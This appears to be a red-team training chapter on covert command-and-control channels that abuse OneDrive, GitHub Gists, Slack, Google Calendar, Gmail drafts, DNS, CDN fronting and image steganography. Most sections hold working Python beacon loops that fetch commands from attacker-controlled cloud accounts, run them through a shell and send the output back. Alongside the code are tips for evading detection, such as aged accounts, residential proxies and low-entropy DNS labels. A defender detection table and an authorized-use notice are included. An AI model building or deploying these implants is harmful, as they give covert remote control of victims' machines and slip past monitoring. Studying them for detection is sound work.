advanced-techniques

08 — Advanced C2 Techniques

BLUF: When your standard HTTPS C2 is blocked or detected, you need channels that are structurally impossible to block without breaking legitimate services. Living-off-the-cloud (LOTC) techniques abuse cloud platforms — Google, GitHub, Slack, OneDrive — as C2 relays. Defenders cannot block Google Drive without breaking half the corporate apps. These techniques are used by APT41, OilRig, and UNC groups in production operations and are increasingly seen in mature red team engagements.

Note

Sections

  1. Living Off the Cloud — Concept · 2. OneDrive / SharePoint C2 · 3. GitHub Gist C2 · 4. Slack Bot C2 · 5. Google Workspace C2 · 6. DNS Tunneling (Advanced) · 7. Domain Fronting · 8. Email-based C2 · 9. Steganography Channels · 10. Detection Gaps & Defender View · 11. Technique Selection Matrix
Important

Authorized use only: Use these notes only in owned, explicitly authorized, or isolated lab environments.

Detection awareness: Assume commands, binaries, network calls, identity changes, and cloud or directory actions may be logged by endpoint tooling, audit frameworks, SIEM pipelines, proxy logs, DNS logs, auth logs, and platform telemetry.

Blue-team view: Treat every technique as a defender validation exercise too: note what artifacts it creates, what alerts or hunts could surface it, and what monitoring or hardening would prevent or contain it.

CTF/lab boundary: If a sandbox or CTF includes bypass-oriented exercises, keep them confined to that environment and translate the lesson into detection, prevention, and cleanup notes rather than real-world evasion guidance.

graph TB
    Beacon([Beacon on Target]) -->|polls for tasks| Channel{C2 Channel}

    Channel -->|HTTPS blocked| LOTC[Living Off the Cloud]
    Channel -->|All egress blocked| DNS[DNS Tunneling]
    Channel -->|TLS inspected| Front[Domain Fronting]

    LOTC --> OneDrive[OneDrive/SharePoint]
    LOTC --> GitHub[GitHub Gist/Issues]
    LOTC --> Slack[Slack API Bot]
    LOTC --> GoogleWS[Google Workspace]

    style Beacon fill:#ff6600
    style LOTC fill:#0066cc,color:#ffffff
    style DNS fill:#6600cc,color:#ffffff
    style Front fill:#006666,color:#ffffff

MITRE ATT&CK Mapping

Technique ID Name Tactic Where Used
T1102.002 Bidirectional Communication (Web Services) C2 Cloud platform C2 relays
T1102.001 Dead Drop Resolver C2 GitHub Gist / Pastebin task staging
T1071.004 DNS C2 DNS tunneling for air-gapped egress
T1090.004 Domain Fronting C2 CDN masking of C2 traffic
T1132.001 Standard Encoding C2 Base64 data in API payloads
T1567.002 Exfiltration to Cloud Storage Exfiltration OneDrive/Google Drive exfil

Section 1 — Living Off the Cloud: The Concept

Why LOTC works:

The LOTC pattern:

Attacker           Cloud Platform         Beacon on Target
   |                      |                      |
   |-- Write task ------> |                      |
   |   (Gist/OneDrive/    |                      |
   |    Slack/Calendar)   |                      |
   |                      |<-- Poll for tasks ---|
   |                      |--- Return task ----->|
   |                      |<-- Post result ------|
   |<-- Read result ------|                      |

The cloud platform is a trusted intermediary. Attacker and beacon never connect directly.

Warning

Operational caveat: LOTC C2 requires an attacker-controlled account on the platform. Creating fresh accounts immediately before an engagement is detectable (new account age). Pre-stage accounts used for test purposes weeks before the engagement. Use accounts that have realistic activity history.


Section 2 — OneDrive / SharePoint C2

APT groups and red teams use OneDrive as a C2 channel because Microsoft Graph API calls to graph.microsoft.com are virtually never blocked in enterprise environments running Office 365.

Setup (Microsoft Graph API)

# Step 1: Register an Azure App (attacker-controlled tenant or compromised app registration)
# Azure Portal > App Registrations > New Registration
# API Permissions: Files.ReadWrite (Delegated or Application)
# Create a client secret

# Step 2: Get access token
TENANT_ID="your-tenant-id"
CLIENT_ID="your-app-client-id"
CLIENT_SECRET="your-client-secret"

TOKEN=$(curl -s -X POST \
    "https://login.microsoftonline.com/$TENANT_ID/oauth2/v2.0/token" \
    -d "grant_type=client_credentials&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&scope=https://graph.microsoft.com/.default" \
    | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")

Beacon Logic (pseudo-code)

import requests, base64, time, random

GRAPH_BASE = "https://graph.microsoft.com/v1.0"
TOKEN = "<access_token>"       # Refreshed periodically
TASK_FILE = "/drives/<drive_id>/items/task.txt:/content"
RESULT_FILE = "/drives/<drive_id>/items/result.txt:/content"
HEADERS = {"Authorization": f"Bearer {TOKEN}"}

def poll_for_task():
    """Poll OneDrive file for operator tasking"""
    r = requests.get(f"{GRAPH_BASE}{TASK_FILE}", headers=HEADERS)
    if r.status_code == 200 and r.text.strip():
        return base64.b64decode(r.text.strip()).decode()
    return None

def post_result(output: str):
    """Write command output back to OneDrive"""
    encoded = base64.b64encode(output.encode()).decode()
    requests.put(f"{GRAPH_BASE}{RESULT_FILE}", headers=HEADERS,
                 data=encoded.encode())

# Beacon loop
while True:
    task = poll_for_task()
    if task:
        import subprocess
        result = subprocess.run(task, shell=True, capture_output=True, text=True)
        post_result(result.stdout + result.stderr)
        # Clear the task file
        requests.put(f"{GRAPH_BASE}{TASK_FILE}", headers=HEADERS, data=b"")
    # Sleep with jitter (business hours only)
    hour = __import__('datetime').datetime.now().hour
    if 8 <= hour <= 18:
        time.sleep(random.randint(240, 360))  # 4–6 min during hours
    else:
        time.sleep(random.randint(1800, 3600))  # 30–60 min off hours

Implemented tools:

OPSEC: Use a legitimate Office 365 tenant with a plausible account name (e.g., it-automation@contoso.com). Activity from a free Microsoft account is more suspicious than activity from a business tenant. The Graph API calls appear in Azure AD audit logs — if the blue team has these, your account activity is visible.


Section 3 — GitHub Gist C2

GitHub Gists are public or secret text files. A beacon reads a Gist for tasking, executes the command, and posts results to a second Gist. Traffic: api.github.com:443.

import requests, base64, time, random

GITHUB_TOKEN = "ghp_yourpersonalaccesstoken"
TASK_GIST_ID = "abcdef1234567890abcdef1234567890"   # Gist for operator → beacon tasks
RESULT_GIST_ID = "abcdef0987654321abcdef0987654321"  # Gist for beacon → operator results
HEADERS = {
    "Authorization": f"token {GITHUB_TOKEN}",
    "Accept": "application/vnd.github.v3+json"
}

def poll_task():
    r = requests.get(f"https://api.github.com/gists/{TASK_GIST_ID}", headers=HEADERS)
    files = r.json().get("files", {})
    for fname, fdata in files.items():
        content = fdata.get("content", "").strip()
        if content:
            return base64.b64decode(content).decode(), fname
    return None, None

def post_result(output: str, task_filename: str):
    # Write result to result Gist
    encoded = base64.b64encode(output.encode()).decode()
    requests.patch(f"https://api.github.com/gists/{RESULT_GIST_ID}",
        headers=HEADERS,
        json={"files": {"output.txt": {"content": encoded}}})
    # Clear the task file
    requests.patch(f"https://api.github.com/gists/{TASK_GIST_ID}",
        headers=HEADERS,
        json={"files": {task_filename: {"content": ""}}})

# Beacon loop
while True:
    task, fname = poll_task()
    if task:
        import subprocess
        result = subprocess.run(task, shell=True, capture_output=True, text=True)
        post_result(result.stdout + result.stderr, fname)
    time.sleep(random.randint(180, 420))  # 3–7 min jitter

OPSEC: Secret Gists are not indexed but are accessible to anyone with the URL. Use a fresh GitHub account per engagement. GitHub logs all API token usage — account activity is visible to GitHub Trust & Safety. Avoid using your personal account or any account tied to your identity.


Section 4 — Slack Bot C2

Slack is present in nearly every enterprise. A Slack app bot can serve as a C2 channel — commands go in a private Slack channel, results come back as bot messages.

Implemented tool: SlackC2

import slack_sdk, subprocess, time, random

SLACK_BOT_TOKEN = "xoxb-your-bot-token"
C2_CHANNEL_ID   = "C0XXXXXXXXX"   # Private channel for C2 ops
client = slack_sdk.WebClient(token=SLACK_BOT_TOKEN)

def get_latest_command():
    """Read the last message in the C2 channel"""
    result = client.conversations_history(channel=C2_CHANNEL_ID, limit=1)
    messages = result.get("messages", [])
    if messages and messages[0].get("user") != "bot-user-id":
        return messages[0].get("text", "").strip()
    return None

def post_output(output: str):
    """Post command output back to the channel"""
    # Chunk output if > 4000 chars (Slack message limit)
    for i in range(0, len(output), 3900):
        client.chat_postMessage(
            channel=C2_CHANNEL_ID,
            text=f"```\n{output[i:i+3900]}\n```",
            mrkdwn=True
        )

# Beacon loop
while True:
    cmd = get_latest_command()
    if cmd and cmd.startswith("!exec "):
        command = cmd[6:]
        result = subprocess.run(command, shell=True, capture_output=True, text=True)
        post_output(result.stdout + result.stderr)
    time.sleep(random.randint(120, 300))  # 2–5 min

OPSEC: Slack logs all API calls. Enterprise Slack (Business+ and Enterprise Grid) provides full audit logs to workspace admins. This channel is effective against targets that don't have Slack Enterprise, or where the attacker controls the Slack workspace entirely. Do not use against a target's own Slack workspace unless it is explicitly in scope.


Section 5 — Google Workspace C2

Two approaches: Google Calendar events as task containers, or Google Sheets cells as a C2 scratchpad. APT41 used a Calendar variant (TOUGHPROGRESS malware).

# Google Calendar C2 — store encrypted tasks in event descriptions
# Requires: google-api-python-client, service account credentials

from googleapiclient.discovery import build
from google.oauth2 import service_account
import base64, json, subprocess, time

SCOPES = ['https://www.googleapis.com/auth/calendar']
SERVICE_ACCOUNT_FILE = '/tmp/creds.json'
CALENDAR_ID = 'your-calendar-id@group.calendar.google.com'

creds = service_account.Credentials.from_service_account_file(
    SERVICE_ACCOUNT_FILE, scopes=SCOPES)
service = build('calendar', 'v3', credentials=creds)

def poll_calendar_for_tasks():
    """Look for calendar events with encoded tasks"""
    events = service.events().list(
        calendarId=CALENDAR_ID,
        singleEvents=True,
        orderBy='startTime',
        maxResults=5
    ).execute().get('items', [])

    for event in events:
        desc = event.get('description', '')
        if desc.startswith('TASK:'):
            try:
                cmd = base64.b64decode(desc[5:]).decode()
                return cmd, event['id']
            except Exception:
                pass
    return None, None

def post_result_to_calendar(task_id: str, output: str):
    """Update event description with result"""
    service.events().patch(
        calendarId=CALENDAR_ID,
        eventId=task_id,
        body={'description': f'RESULT:{base64.b64encode(output.encode()).decode()}'}
    ).execute()

# Beacon loop
while True:
    cmd, event_id = poll_calendar_for_tasks()
    if cmd:
        result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
        post_result_to_calendar(event_id, result.stdout + result.stderr)
    time.sleep(300)

Section 6 — DNS Tunneling (Advanced OPSEC)

Standard iodine / dnscat2 DNS tunneling is caught by modern DNS security (Palo Alto DNS Security, Cisco Umbrella) within minutes due to high-entropy subdomain labels and query volume.

Evasive DNS tunneling approach:

# Problem: iodine generates queries like:
# aGVsbG8gd29ybGQ.c2.yourdomain.com  (base64 → high entropy → flagged)

# Solution: encode data in legitimate-looking subdomain components
# Use dictionary words + separator to carry data
# Low volume: 1 DNS query per 5–10 minutes

# DIY low-volume DNS C2 (encode 4 bytes per query in IPv4 A record response):
# 1. Operator sets DNS TXT record for subdomain = base64(command_chunk)
# 2. Beacon queries: dig TXT status.cdn.yourdomain.com
# 3. Beacon decodes from TXT response
# 4. Beacon sends output encoded in sequential DNS A queries:
#    A-record lookup for: <hex_byte>.out.cdn.yourdomain.com
#    Attacker's DNS server parses the hex from subdomain labels

# Tools that implement this cleanly:
# DNSlivery: github.com/no0be/DNSlivery (file delivery over DNS)
# dnscat2:   github.com/iagox86/dnscat2 (full C2 over DNS)

DNS OPSEC checklist:

[ ] Domain age >= 30 days (DNS Security flags "newly seen" domains instantly)
[ ] Domain has real MX, SPF, A records (parked domains = red flag)
[ ] Beacon DNS query rate < 4 queries/min
[ ] Subdomain labels < 30 chars, avoid base64-looking randomness
[ ] Test against Cisco Umbrella / Palo Alto DNS Security in lab before use
[ ] DoH (DNS-over-HTTPS) wrapping available as fallback if raw DNS is blocked

Section 7 — Domain Fronting

Domain fronting routes C2 traffic through a CDN, making it appear destined for a legitimate CDN customer (e.g., allowed.company.com) while the CDN forwards the request to your C2 server based on the Host header.

Beacon → CDN edge (appears as: allowed.company.com)
        ↓ SNI in TLS ClientHello: allowed.company.com (passes proxy allow)
CDN edge → reads HTTP Host header: your-c2-domain.com (actual destination)
        ↓ forwards to your C2 server

Note: Most major CDNs (AWS CloudFront, Azure CDN, Cloudflare) have actively disabled classic domain fronting. The technique now requires finding CDNs that still permit it, or using CDN-specific workarounds.

# Test if fronting is possible:
# SNI = legit-customer.cdn-provider.com (allowed by proxy)
# Host header = your-c2.cdn-provider.com (actual destination)

curl -k -H "Host: your-c2.cdn-provider.com" \
    https://legit-customer.cdn-provider.com/beacon-uri
# If you get a response from your C2: fronting works

# Meek (Tor pluggable transport) uses a CDN-fronting variant:
# Uses Azure CDN + Host header to front Tor bridges
# Adapted for C2 by some implant frameworks

Section 8 — Email-based C2

OilRig and Shamoon-related groups have used email drafts as C2 channels — no email is sent (no mail flow logs), the beacon reads and writes drafts.

import imaplib, email, base64, subprocess, time

IMAP_SERVER = "imap.gmail.com"
EMAIL = "c2operator@gmail.com"
PASSWORD = "app-specific-password"
DRAFT_FOLDER = "[Gmail]/Drafts"

def poll_drafts():
    """Read task from draft subject line"""
    M = imaplib.IMAP4_SSL(IMAP_SERVER)
    M.login(EMAIL, PASSWORD)
    M.select(DRAFT_FOLDER)
    _, msgs = M.search(None, 'SUBJECT "TASK:"')
    for num in msgs[0].split():
        _, data = M.fetch(num, '(RFC822)')
        msg = email.message_from_bytes(data[0][1])
        subject = msg['subject']
        if subject and subject.startswith('TASK:'):
            cmd = base64.b64decode(subject[5:]).decode()
            M.store(num, '+FLAGS', '\\Deleted')  # Delete task draft
            M.expunge()
            M.logout()
            return cmd
    M.logout()
    return None

def save_result_draft(output: str):
    """Save result as a draft"""
    import smtplib
    from email.mime.text import MIMEText
    # Save as draft by connecting IMAP and appending to Drafts
    M = imaplib.IMAP4_SSL(IMAP_SERVER)
    M.login(EMAIL, PASSWORD)
    M.select(DRAFT_FOLDER)
    msg = MIMEText(base64.b64encode(output.encode()).decode())
    msg['Subject'] = "RESULT:"
    msg['From'] = EMAIL
    msg['To'] = EMAIL
    M.append(DRAFT_FOLDER, '', imaplib.Time2Internaldate(time.time()), msg.as_bytes())
    M.logout()

OPSEC: Gmail app passwords require 2FA on the account. Use a dedicated account aged >= 90 days. IMAP access to Gmail from a new IP triggers Google security alerts — pre-authorize the IP or use a residential proxy. Google also logs all IMAP access. This channel is most effective when the target has no visibility into the attacker's external email provider.


Section 9 — Steganography Channels

Hide C2 data inside legitimate image or document files. Used for low-bandwidth command delivery where file transfers are allowed but other channels are blocked.

from PIL import Image
import struct, numpy as np

def encode_command_in_image(image_path: str, command: str, output_path: str):
    """Encode command bytes in LSB of image pixels"""
    img = Image.open(image_path).convert('RGB')
    pixels = np.array(img)
    data = command.encode() + b'\x00\x00\x00'  # Null terminator

    idx = 0
    for i in range(pixels.shape[0]):
        for j in range(pixels.shape[1]):
            for c in range(3):  # R, G, B channels
                if idx < len(data) * 8:
                    bit = (data[idx // 8] >> (7 - idx % 8)) & 1
                    pixels[i, j, c] = (pixels[i, j, c] & 0xFE) | bit
                    idx += 1

    Image.fromarray(pixels).save(output_path)

def decode_from_image(image_path: str) -> str:
    """Extract command from image LSBs"""
    img = Image.open(image_path).convert('RGB')
    pixels = np.array(img)
    bits = []

    for i in range(pixels.shape[0]):
        for j in range(pixels.shape[1]):
            for c in range(3):
                bits.append(pixels[i, j, c] & 1)

    chars = []
    for i in range(0, len(bits) - 8, 8):
        byte = int(''.join(str(b) for b in bits[i:i+8]), 2)
        if byte == 0 and len(chars) > 2:
            break
        chars.append(chr(byte))

    return ''.join(chars)

OPSEC: Steganography is a low-bandwidth channel — suitable for short commands and small outputs only. Use for environments where a small image transfer is expected (profile pictures, shared documents). DLP tools that perform statistical steganalysis (e.g., Palo Alto WildFire advanced analysis) can detect LSB steganography in images if the DLP policy is aggressive enough.


Section 10 — Detection Gaps & Defender View

Technique Detection Difficulty What Defenders Need to Catch It
OneDrive/SharePoint C2 High Azure AD audit logs + anomalous Graph API patterns
GitHub Gist Medium-High GitHub audit events + DLP on code commit patterns
Slack Bot Medium Slack Enterprise audit logs + unusual bot API volume
Google Calendar High Google Workspace audit logs (rarely monitored)
DNS Tunneling Medium DNS Security with ML anomaly detection (PA, Umbrella)
Domain Fronting Medium-High SSL inspection + SNI/Host header mismatch detection
Email Draft C2 High Email gateway DLP + IMAP session monitoring
Steganography Very High Steganalysis in sandboxing (WildFire advanced tier)

Section 11 — Technique Selection Matrix

Scenario                           Recommended Channel
─────────────────────────────────────────────────────────
HTTPS allowed, standard egress     → Standard HTTPS C2 (Sliver/Havoc)
HTTPS allowed, NDR monitoring      → Sliver + CDN fronting + malleable profile
HTTPS allowed, SSL inspection      → Domain fronting (CDN terminates TLS)
Microsoft 365 environment          → OneDrive/Graph API C2 (GraphStrike)
DNS egress only                    → dnscat2 or custom low-volume DNS C2
All egress blocked except web      → DNS-over-HTTPS tunneling
Slack-heavy org, no HTTPS          → Slack Bot C2
Low-bandwidth / air-gap adjacent   → DNS or steganography
Need attribution protection        → LOTC (Google/Microsoft infra — hard to seize)

Part of the Red Teaming 101 series. Parent: P7 — C2 Infrastructure · See also: HTTP C2 Profiles · Evasive Beacon Engineering